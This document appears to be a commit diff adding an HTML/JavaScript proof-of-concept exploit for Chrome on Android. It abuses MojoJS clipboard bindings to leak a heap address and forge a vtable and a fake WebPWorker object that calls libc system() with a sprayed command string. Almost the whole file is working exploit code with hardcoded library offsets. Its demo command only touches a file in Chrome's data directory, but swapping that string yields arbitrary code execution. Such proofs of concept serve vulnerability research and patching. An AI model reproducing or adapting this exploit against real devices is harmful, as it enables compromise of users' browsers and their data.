|
| 1 | +<html> |
| 2 | + <head> |
| 3 | + <script src="mojo_bindings.js"></script> |
| 4 | + <script src="third_party/blink/public/mojom/clipboard/clipboard.mojom.js"></script> |
| 5 | + <script> |
| 6 | + //Change these to the actual value before running |
| 7 | + const libhwuiOffset = 0x75d8dd4000n; |
| 8 | + const libcOffset = 0x75d962c000n; |
| 9 | + //Points to Execute in libwebp, offset from libhwui |
| 10 | + const executeOffset = 0x7db9a0n; |
| 11 | + const bitWriterOffset = 0x803e30n; |
| 12 | + |
| 13 | + //Offset to system in libc |
| 14 | + const systemOffset = 0x925b0n; |
| 15 | + |
| 16 | + //The offset of GetRoutingID in rfh's vtable |
| 17 | + const getRoutingIDOffset = 0x48n; |
| 18 | + const ifrmUrl = 'payment_request_clip2.html'; |
| 19 | + const jamUrl = 'payment_request_jam_clip.html'; |
| 20 | + |
| 21 | + const reloadUrl = 'payment_request_clip.html'; |
| 22 | + |
| 23 | + const command = 'touch /data/data/org.chromium.chrome/pwn'; |
| 24 | + //Up to 32 bytes maybe written by bit writer. |
| 25 | + const commandOffset = 0x28; |
| 26 | + clipboards = []; |
| 27 | + dataClipboards = []; |
| 28 | + images = []; |
| 29 | + |
| 30 | + |
| 31 | + function sleep(miliseconds) { |
| 32 | + var currentTime = new Date().getTime(); |
| 33 | + while (currentTime + miliseconds >= new Date().getTime()) { |
| 34 | + } |
| 35 | + } |
| 36 | + |
| 37 | + function computeAddress(image1, image2) { |
| 38 | + let addrBuffer = new ArrayBuffer(8); |
| 39 | + let addrIntView = new Uint8Array(addrBuffer); |
| 40 | + for (let i = 8; i < 8 + 5; i++) { |
| 41 | + if (i != 11) { |
| 42 | + addrIntView[i - 8] = image1[i]; |
| 43 | + } else { |
| 44 | + addrIntView[i - 8] = image2[i]; |
| 45 | + } |
| 46 | + } |
| 47 | + let addrBigIntView = new BigUint64Array(addrBuffer); |
| 48 | + return addrBigIntView[0]; |
| 49 | + } |
| 50 | + |
| 51 | + function createIframe(id, src) { |
| 52 | + let iframe = document.createElement('iframe'); |
| 53 | + iframe.style.display="none"; |
| 54 | + iframe.setAttribute('id', id); |
| 55 | + if (src !== undefined) { |
| 56 | + iframe.src = src; |
| 57 | + } |
| 58 | + document.body.appendChild(iframe); |
| 59 | + } |
| 60 | + |
| 61 | + function removeIframe(id) { |
| 62 | + let frame = document.getElementById(id); |
| 63 | + frame.parentNode.removeChild(frame); |
| 64 | + } |
| 65 | + |
| 66 | + function runCommand(addr) { |
| 67 | + window.location = reloadUrl + '?addr=' + addr.toString(); |
| 68 | + } |
| 69 | + |
| 70 | + function readClipboard() { |
| 71 | + clipboards[0].commitWrite(); |
| 72 | + sleep(1000); |
| 73 | + clipboards[0].readImage(1).then(readImg); |
| 74 | + sleep(500); |
| 75 | + clipboards[1].commitWrite(); |
| 76 | + sleep(1000); |
| 77 | + clipboards[1].readImage(1).then(readImg); |
| 78 | + } |
| 79 | + |
| 80 | + function readImg(image) { |
| 81 | + if (image.image === null) { |
| 82 | + console.log('Failed to obtain read clipboard'); |
| 83 | + window.location = reloadUrl; |
| 84 | + } |
| 85 | + let imageData = new Uint8Array(image.image.pixelData.bytes); |
| 86 | + images.push(imageData); |
| 87 | + if (images.length == 2) { |
| 88 | + let addr = computeAddress(images[0], images[1]); |
| 89 | + if (addr < 0xffffffffn) { |
| 90 | + console.log('Failed to obtain address: ' + addr.toString(16)); |
| 91 | + window.location = reloadUrl; |
| 92 | + } |
| 93 | + console.log('addr: ' + addr.toString(16)); |
| 94 | + runCommand(addr); |
| 95 | + } |
| 96 | + } |
| 97 | + |
| 98 | + function readAddress(bitmap1, bitmap2) { |
| 99 | + createIframe('ifrm', ifrmUrl); |
| 100 | + createIframe('ifrm1', ifrmUrl); |
| 101 | + createIframe('jam', jamUrl); |
| 102 | + setTimeout(()=> { |
| 103 | + removeIframe('ifrm'); |
| 104 | + clipboards[0].writeImage(bitmap1); |
| 105 | + removeIframe('ifrm1'); |
| 106 | + clipboards[1].writeImage(bitmap2); |
| 107 | + dataClipboards[29].ptr.reset(); |
| 108 | + dataClipboards[30].ptr.reset(); |
| 109 | + setTimeout(readClipboard, 3000); |
| 110 | + }, 3000); |
| 111 | + } |
| 112 | + |
| 113 | + function createBitmap(alphaType, width, vtable) { |
| 114 | + let data = new ArrayBuffer(width * width * 4); |
| 115 | + if (vtable !== undefined) { |
| 116 | + let view = new BigUint64Array(data); |
| 117 | + view[0] = vtable; |
| 118 | + } |
| 119 | + let colorSpace = new Array(9); |
| 120 | + let imageInfo = new skia.mojom.ImageInfo(); |
| 121 | + imageInfo.colorType = 4; |
| 122 | + imageInfo.alphaType = alphaType; |
| 123 | + imageInfo.serializedColorSpace = colorSpace; |
| 124 | + imageInfo.width = width; |
| 125 | + imageInfo.height = width; |
| 126 | + let bigBuffer = new mojoBase.mojom.BigBuffer(); |
| 127 | + bigBuffer.bytes = new Uint8Array(data); |
| 128 | + let bitmap = new skia.mojom.Bitmap(); |
| 129 | + bitmap.imageInfo = imageInfo; |
| 130 | + bitmap.rowBytes = width * 4; |
| 131 | + bitmap.pixelData = bigBuffer; |
| 132 | + return bitmap; |
| 133 | + } |
| 134 | + |
| 135 | + function createClipboards(n, clipboardArr) { |
| 136 | + for (let i = 0; i < n; i++) { |
| 137 | + let clipboard_ptr = new blink.mojom.ClipboardHostPtr(); |
| 138 | + Mojo.bindInterface(blink.mojom.ClipboardHost.name, |
| 139 | + mojo.makeRequest(clipboard_ptr).handle); |
| 140 | + clipboardArr.push(clipboard_ptr); |
| 141 | + } |
| 142 | + } |
| 143 | + |
| 144 | + |
| 145 | + function sprayCommand() { |
| 146 | + let dataBitmap = createBitmap(1, 16); |
| 147 | + let data = dataBitmap.pixelData.bytes; |
| 148 | + for (let i = 0; i < command.length; i++) { |
| 149 | + data[commandOffset + i] = command.charCodeAt(i); |
| 150 | + } |
| 151 | + for (let i = 0; i < dataClipboards.length; i++) { |
| 152 | + dataClipboards[i].writeImage(dataBitmap); |
| 153 | + } |
| 154 | + } |
| 155 | + |
| 156 | + function load() { |
| 157 | + let addrIdx = window.location.href.search('addr'); |
| 158 | + if (addrIdx == -1) { |
| 159 | + let vtable = libhwuiOffset + bitWriterOffset - getRoutingIDOffset; |
| 160 | + createClipboards(2, clipboards); |
| 161 | + createClipboards(32, dataClipboards); |
| 162 | + sprayCommand(); |
| 163 | + let bitmap1 = createBitmap(1, 32, vtable); |
| 164 | + let bitmap2 = createBitmap(2, 32, vtable); |
| 165 | + readAddress(bitmap1, bitmap2); |
| 166 | + } else { |
| 167 | + createClipboards(1, clipboards); |
| 168 | + sleep(2000); |
| 169 | + let addr = BigInt(window.location.href.substring(addrIdx + 5)); |
| 170 | + if (addr == 0) { |
| 171 | + window.location = reloadUrl; |
| 172 | + } |
| 173 | + let vtable = libhwuiOffset + executeOffset - getRoutingIDOffset; |
| 174 | + let bitmap = createBitmap(1, 32, vtable); |
| 175 | + //fake WebPWorker |
| 176 | + let view = new BigUint64Array(bitmap.pixelData.bytes.buffer); |
| 177 | + view[2] = libcOffset + systemOffset; |
| 178 | + view[3] = addr + BigInt(commandOffset); |
| 179 | + createIframe('ifrm', ifrmUrl); |
| 180 | + createIframe('jam', jamUrl); |
| 181 | + setTimeout(() => { |
| 182 | + removeIframe('ifrm'); |
| 183 | + clipboards[0].writeImage(bitmap); |
| 184 | + console.log('done'); |
| 185 | + }, 3000); |
| 186 | + } |
| 187 | + } |
| 188 | + </script> |
| 189 | + <body onload="load()"> |
| 190 | + <a href="payment_request_clip.html">reload</a> |
| 191 | + </body> |
| 192 | +</html> |
0 commit comments